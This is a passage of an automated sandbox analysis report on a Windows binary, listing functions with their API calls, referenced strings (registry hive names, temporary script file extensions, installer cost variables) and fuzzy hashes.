Opcode Fuzzy Hash: e0761227c942bb240ac82abd730aa4366afcadc891ffcd1f24aaf379bc29f12c
Instruction Fuzzy Hash: 29915671600225DFDB14DF24E819BBAB3A6FF65310F1086A9E816C77A0E731DE41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00C44170 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 121COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 00C441A6

Strings

HKEY_LOCAL_MACHINE, xrefs: 00C441ED
HKEY_CURRENT_CONFIG, xrefs: 00C44269
HKCC, xrefs: 00C44255
HKEY_CLASSES_ROOT, xrefs: 00C44241
HKEY_CURRENT_USER, xrefs: 00C44219
HKCR, xrefs: 00C4422D
HKCU, xrefs: 00C44205
HKLM, xrefs: 00C441D5

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: _wcschr
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKLM
API String ID: 2691759472-1956487666
Opcode ID: 46e33c2b947589d3ee1064eed397b4c9bc513ac0c6ddc4b5abc5113e096878f2
Instruction ID: 0ba9e9b06e0eff5b9109547e648bedf6fc53d25ef7295a1e858f886ffac501c4
Opcode Fuzzy Hash: 46e33c2b947589d3ee1064eed397b4c9bc513ac0c6ddc4b5abc5113e096878f2
Instruction Fuzzy Hash: A2412BB1F552159BDF245B54DC02B6BB7A8FB00722F280639FC24E23D1EBB59D14CAA0

Uniqueness

Uniqueness Score: -1.00%

Function 00BFE900 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 232fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,7E4AB622,?), ref: 00BFE999
CloseHandle.KERNEL32(00000000), ref: 00BFE9C0

Part of subcall function 00B19E20: GetProcessHeap.KERNEL32 ref: 00B19E75
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19EA7
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19F32

Part of subcall function 00B486B0: FindResourceW.KERNEL32(00000000,00CD6497,00000006,00000000,00CD6496,?,00000000,00C00619,00CD6496), ref: 00B486ED
Part of subcall function 00B486B0: WideCharToMultiByte.KERNEL32(00000003,00000000,00000002,00000000,00000000,00000000,00000000,00000000,00C00619,00CD6496), ref: 00B4871E
Part of subcall function 00B486B0: WideCharToMultiByte.KERNEL32(00000003,00000000,00000002,?,00CD6496,00000000,00000000,00000000), ref: 00B48755

WriteFile.KERNEL32(00000000,?,?,?,00000000,?,?,?), ref: 00BFEA35
CloseHandle.KERNEL32(00000000), ref: 00BFEA87

Part of subcall function 00B48790: WideCharToMultiByte.KERNEL32(00000003,00000000,00C2BBCA,000000FF,00000000,00000000,00000000,00000000,?,?,?,00C2BBCA,?,?), ref: 00B487AC
Part of subcall function 00B48790: WideCharToMultiByte.KERNEL32(00000003,00000000,00C2BBCA,000000FF,?,-00000001,00000000,00000000,?,?,?,00C2BBCA,?,?), ref: 00B487E2

Strings

.bat, xrefs: 00BFE94E
<, xrefs: 00BFEAEE
EXE, xrefs: 00BFE953
open, xrefs: 00BFEAB3

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: ByteCharMultiWide$CloseFileHandleInit_thread_footer$CreateFindHeapProcessResourceWrite
String ID: .bat$<$EXE$open
API String ID: 4275363648-802144110
Opcode ID: 291eb45db4acba0e7a0a6902ad2b03617742dd1a106fde34bbeb88ceb1b647fd
Instruction ID: 7239800e60f0e42d362cd55788baca1175228f23aa3d048fd7e065aeea1baa15
Opcode Fuzzy Hash: 291eb45db4acba0e7a0a6902ad2b03617742dd1a106fde34bbeb88ceb1b647fd
Instruction Fuzzy Hash: 43A16C70901648DFDB10CFA8C988BADFBF4FF45314F248299E515AB2A2DB749949CF60

Uniqueness

Uniqueness Score: -1.00%

Function 00C4AE90 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 178fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B19E20: GetProcessHeap.KERNEL32 ref: 00B19E75
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19EA7
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19F32

Part of subcall function 00B19120: FindResourceW.KERNEL32(00000000,?,00000006,-00000010,?,?,00B1CB50,-00000010,?,00C555F7,00000008,7E4AB622), ref: 00B19143

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,ps1,ps1,00000003,?,00C2C7A8), ref: 00C4AF83
WriteFile.KERNEL32(00000000,0000FEFF,00000002,?,00000000), ref: 00C4AFC7
WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 00C4AFE4
CloseHandle.KERNEL32(00000000), ref: 00C4AFFE
CloseHandle.KERNEL32(00000000,?,?,00000000,00000000), ref: 00C4B03D

Strings

Unable to get temp file , xrefs: 00C4AF64
Unable to save script file , xrefs: 00C4B00D
ps1, xrefs: 00C4AEF9, 00C4AF0B, 00C4AF15, 00C4AF26

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: File$CloseHandleInit_thread_footerWrite$CreateFindHeapProcessResource
String ID: Unable to get temp file $Unable to save script file $ps1
API String ID: 2821137686-4253966538
Opcode ID: 2970a3bd171d7e0713cec4732779b6496e6f83dd308f37e4b880b8d7a3f669ac
Instruction ID: 5cb4e776cd221b64f5f99c8622259b21675afa528e79529c1436d941ce96696d
Opcode Fuzzy Hash: 2970a3bd171d7e0713cec4732779b6496e6f83dd308f37e4b880b8d7a3f669ac
Instruction Fuzzy Hash: 9D51B3B0940249AFDB20CBA8CD45BEEBBB8BF05315F148258E910A73D1D7749E09CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00C3B7C0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 147libraryloaderCOMMON

Download Yara Rule

APIs

GetSystemDefaultLangID.KERNEL32 ref: 00C3B7FC
GetUserDefaultLangID.KERNEL32 ref: 00C3B809
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00C3B81B
GetProcAddress.KERNEL32(00000000,GetSystemDefaultUILanguage), ref: 00C3B82F
GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 00C3B844

Strings

GetSystemDefaultUILanguage, xrefs: 00C3B829
GetUserDefaultUILanguage, xrefs: 00C3B83E
kernel32.dll, xrefs: 00C3B812

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: AddressDefaultLangProc$LibraryLoadSystemUser
String ID: GetSystemDefaultUILanguage$GetUserDefaultUILanguage$kernel32.dll
API String ID: 667524283-3528650308
Opcode ID: a8ce73247b151c57017cc5abb30a180bc411ab1ae644f1a397ceb75213c0d21f
Instruction ID: a3f7ed303a94a36da71444568879a8b9c9aa189059bbf5980c662fc34fb40d23
Opcode Fuzzy Hash: a8ce73247b151c57017cc5abb30a180bc411ab1ae644f1a397ceb75213c0d21f
Instruction Fuzzy Hash: 9841BD30A143019FCB44EF28D95077AB7E5AFA8305F91191EFA99C3280E730DE45CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00CAD0C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00CAD0F7
___except_validate_context_record.LIBVCRUNTIME ref: 00CAD0FF
_ValidateLocalCookies.LIBCMT ref: 00CAD188
__IsNonwritableInCurrentImage.LIBCMT ref: 00CAD1B3
_ValidateLocalCookies.LIBCMT ref: 00CAD208
___vcrt_initialize_locks.LIBVCRUNTIME ref: 00CAD21E
___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00CAD233

Strings

csm, xrefs: 00CAD19D

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record___vcrt_initialize_locks___vcrt_uninitialize_locks
String ID: csm
API String ID: 1385549066-1018135373
Opcode ID: 66abe44dd2af300e1c9da1aa429b75b6a8e7a8a27536603043998837d4107789
Instruction ID: 173517a41947ee81eae2effc180718b02aa8e4f6c91c7044f0ddca027d13308c
Opcode Fuzzy Hash: 66abe44dd2af300e1c9da1aa429b75b6a8e7a8a27536603043998837d4107789
Instruction Fuzzy Hash: A341C434A0021ADBCF10DF68C885ADEBBB1AF4632CF148155E9279B752D731DE06DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B48D30 Relevance: 12.5, APIs: 8, Instructions: 469synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,00B48EE0,00D3B978,00000000,?), ref: 00B48E5A
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00B48E73
CloseHandle.KERNEL32(00000000), ref: 00B48E89

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CloseCreateHandleObjectSingleThreadWait
String ID:
API String ID: 51348343-0
Opcode ID: 358956ab610e6a08e1d2b453e4911925916a988a17b75cfd60731b65c120439e
Instruction ID: 1cbf8e8090b2dcd02199747b2345e9de78b2fafe7d0c6d9259fd13d47e89f0a5
Opcode Fuzzy Hash: 358956ab610e6a08e1d2b453e4911925916a988a17b75cfd60731b65c120439e
Instruction Fuzzy Hash: 38027E70D00249EFDB14CFA4C945BAEBBF8FF45314F2481A9E815AB291DB749A44DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00B2B510 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 150fileCOMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00B2B5FF

Part of subcall function 00CA97F8: EnterCriticalSection.KERNEL32(00DB9EA0,?,?,00B19F37,00DBAAD4,00D2A720), ref: 00CA9802
Part of subcall function 00CA97F8: LeaveCriticalSection.KERNEL32(00DB9EA0,?,00B19F37,00DBAAD4,00D2A720), ref: 00CA9835

CreateFileW.KERNEL32(00000000,40000000,00000001,00000000,00000002,00000080,00000000,?), ref: 00B2B653
CloseHandle.KERNEL32(00000000), ref: 00B2B6B0

Part of subcall function 00CA9842: EnterCriticalSection.KERNEL32(00DB9EA0,-00000010,?,?,00B19EC6,00DBAAD4,7E4AB622,?,?,00CD191D,000000FF,?,00B1CB1F,7E4AB622,-00000010,?), ref: 00CA984D
Part of subcall function 00CA9842: LeaveCriticalSection.KERNEL32(00DB9EA0,?,00B19EC6,00DBAAD4,7E4AB622,?,?,00CD191D,000000FF,?,00B1CB1F,7E4AB622,-00000010,?,?,00000008), ref: 00CA988A

WriteFile.KERNEL32(00000000,00000000,?,?,00000000,00000000,?), ref: 00B2B714
CloseHandle.KERNEL32(00000000,?), ref: 00B2B73A

Strings

aix, xrefs: 00B2B611
html, xrefs: 00B2B60C

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CriticalSection$CloseEnterFileHandleLeave$CreateInit_thread_footerWrite
String ID: aix$html
API String ID: 1962620591-2369804267
Opcode ID: 7e883c693366a85a466132983393ecd97766c743abee8d1f7bbf6bba35f8c00d
Instruction ID: f099ff4347261de94fa0e97ef64b39e8186b88433142e9bee22759e38c8d37a8
Opcode Fuzzy Hash: 7e883c693366a85a466132983393ecd97766c743abee8d1f7bbf6bba35f8c00d
Instruction Fuzzy Hash: 396158B0900748DFDB20CF94D959B9EBBF4FB05718F10425AE001AB392DBF56909CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B12860 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 135COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00DBB200,00000000,7E4AB622,00000000,00D0AD83,000000FF,?,7E4AB622), ref: 00B129D3
GetLastError.KERNEL32(?,7E4AB622), ref: 00B129DD

Strings

VolumeCostAvailable, xrefs: 00B128A0
VolumeCostSize, xrefs: 00B12897
VolumeCostDifference, xrefs: 00B128B3
VolumeCostRequired, xrefs: 00B128A9
VolumeCostVolume, xrefs: 00B1288D, 00B12945

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CountCriticalErrorInitializeLastSectionSpin
String ID: VolumeCostAvailable$VolumeCostDifference$VolumeCostRequired$VolumeCostSize$VolumeCostVolume
API String ID: 439134102-34576578
Opcode ID: 589287266edcdc7d57f85e0e2670322a4f9066079f3d88247bc2db7ced02722c
Instruction ID: c19b2028f3845e7da554eb645652215f0cd5df82ce2a99be0818de4be9b43bd4
Opcode Fuzzy Hash: 589287266edcdc7d57f85e0e2670322a4f9066079f3d88247bc2db7ced02722c
Instruction Fuzzy Hash: 5A51ADB1900309DFCB10CF98D9057DEBBF4EB09764F50426AE825E7390E7B59A48CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00CA8D8F Relevance: 12.1, APIs: 8, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000D,00000000,?,00CA8F39,00000000,?,?,00B25514,?), ref: 00CA8DB3
HeapAlloc.KERNEL32(00000000,?,?,00B25514,?), ref: 00CA8DBA

Part of subcall function 00CA8E85: IsProcessorFeaturePresent.KERNEL32(0000000C,00CA8DA1,00000000,?,00CA8F39,00000000,?,?,00B25514,?), ref: 00CA8E87

InterlockedPopEntrySList.KERNEL32(00000000,00000000,?,00CA8F39,00000000,?,?,00B25514,?), ref: 00CA8DCA
VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,?,00B25514,?), ref: 00CA8DF1
RaiseException.KERNEL32(C0000017,00000000,00000000,00000000,?,?,00B25514,?), ref: 00CA8E05
InterlockedPopEntrySList.KERNEL32(00000000,?,?,00B25514,?), ref: 00CA8E18
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00B25514,?), ref: 00CA8E2B

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: AllocEntryHeapInterlockedListVirtual$ExceptionFeatureFreePresentProcessProcessorRaise
String ID:
API String ID: 2460949444-0
Opcode ID: f78c933dcea2d4f96b3d1170598ac7753b22639207c4704a96436c9aefa31d61
Instruction ID: b9492677e6666a7fa0230e3e239e6d124c4746c233e27ae746f94059144f72b2
Opcode Fuzzy Hash: f78c933dcea2d4f96b3d1170598ac7753b22639207c4704a96436c9aefa31d61
Instruction Fuzzy Hash: 0F11B276A01313EBD6315BA89C48F6F7658EF56B89F140520FA01EA390DE60CC0986B4

Uniqueness

Uniqueness Score: -1.00%

Function 00C46800 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 454synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00C48690: CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,00C4683A,?,7E4AB622,?,?,?,000000FF,?,00C461F4), ref: 00C4869D
Part of subcall function 00C48690: CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00C4683A,?,7E4AB622,?,?,?,000000FF,?,00C461F4,?), ref: 00C486BE
Part of subcall function 00C48690: GetLastError.KERNEL32(?,7E4AB622,?,?,?,000000FF,?,00C461F4,?,?,00000000,00000000,7E4AB622,?,?), ref: 00C4871E

Part of subcall function 00B19E20: GetProcessHeap.KERNEL32 ref: 00B19E75
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19EA7
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19F32

ResetEvent.KERNEL32(?,00000000,00D1874D), ref: 00C4690A
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00C46929
WaitForSingleObject.KERNEL32(7E4AB622,000000FF), ref: 00C46930

Part of subcall function 00B19120: FindResourceW.KERNEL32(00000000,?,00000006,-00000010,?,?,00B1CB50,-00000010,?,00C555F7,00000008,7E4AB622), ref: 00B19143

Strings

filename, xrefs: 00C46C81
GET, xrefs: 00C4688A
attachment, xrefs: 00C46B3D

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Event$CreateInit_thread_footerObjectSingleWait$ErrorFindHeapLastProcessResetResource
String ID: GET$attachment$filename
API String ID: 818129584-3911147371
Opcode ID: 3a61f0d742f73c987e044cfb4607fb9dbef0f2ef00bcf31dabfbca9f5adc71e6
Instruction ID: 8bfc9e58497d01b12a8686224424c6b03570899575feb469bd2eaf67a51708ff
Opcode Fuzzy Hash: 3a61f0d742f73c987e044cfb4607fb9dbef0f2ef00bcf31dabfbca9f5adc71e6
Instruction Fuzzy Hash: 79029C71A00249DFDB10DFA8C954BEEBBF4FF15314F148169E815AB391DB709A08CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00C5A150 Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

Part of subcall function 00B19E20: GetProcessHeap.KERNEL32 ref: 00B19E75
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19EA7
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19F32

_wcschr.LIBVCRUNTIME ref: 00C5A21B
_wcschr.LIBVCRUNTIME ref: 00C5A2C2
_wcschr.LIBVCRUNTIME ref: 00C5A2E1

Part of subcall function 00B19120: FindResourceW.KERNEL32(00000000,?,00000006,-00000010,?,?,00B1CB50,-00000010,?,00C555F7,00000008,7E4AB622), ref: 00B19143

_wcschr.LIBVCRUNTIME ref: 00C5A383
GetTickCount.KERNEL32 ref: 00C5A52A

Strings

0123456789AaBbCcDdEeFf, xrefs: 00C5A1B1, 00C5A1C3, 00C5A1CD

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: _wcschr$Init_thread_footer$CountFindHeapProcessResourceTick
String ID: 0123456789AaBbCcDdEeFf
API String ID: 2181188311-3822820098
Opcode ID: ccbd461cbf57a8e41f44d26c404dfe15c0e32aa1adb1cfbaa607eb573cfb3961
Instruction ID: 76d5122069d0e8fdf73204adfafecca79f3c4eba684b1ad723c8c56a0563f897
Opcode Fuzzy Hash: ccbd461cbf57a8e41f44d26c404dfe15c0e32aa1adb1cfbaa607eb573cfb3961
Instruction Fuzzy Hash: 60D13374A00A058FDB10CF6AC888BAEB7F1FF44315F14835DE82597291D734EA89CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00C19890 Relevance: 10.8, APIs: 7, Instructions: 294fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,7E4AB622), ref: 00C19919
ReadFile.KERNEL32(00000000,00000000,00001000,?,00000000,00001000), ref: 00C19989
CloseHandle.KERNEL32(?), ref: 00C19B8E
ReadFile.KERNEL32(?,00000000,00001000,00000000,00000000,?,00000000,00000000), ref: 00C19C15

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: File$Read$CloseCreateHandle
String ID:
API String ID: 1724936099-0
Opcode ID: fabb1eeb9ac807b291a17eca845770c4d82713fae5c3642f41fd728da1fcf12a
Instruction ID: 7ad6fa0728fe78ea8b5b3f5ebab7579eaf22ba7ec63a1969eb605a1e9a92e93c
Opcode Fuzzy Hash: fabb1eeb9ac807b291a17eca845770c4d82713fae5c3642f41fd728da1fcf12a
Instruction Fuzzy Hash: 5BC19D71D04308DBDB20CFA4C855BEEBBB4EF56704F248259E415AB281D774AE85EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00B29800 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 269COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00DBB1E0,7E4AB622,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00CD53A5), ref: 00B2986A
GetModuleFileNameW.KERNEL32(0000FFFF,00000104,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00CD53A5), ref: 00B298EA
EnterCriticalSection.KERNEL32(00DBB1FC,?,?,?,?,?,?,?,?,?,?,?,00000000,00CD53A5,000000FF), ref: 00B29AA3
LeaveCriticalSection.KERNEL32(00DBB1FC,?,?,?,?,?,?,?,?,?,?,00000000,00CD53A5,000000FF), ref: 00B29AC4

Strings

v, xrefs: 00B29ABD

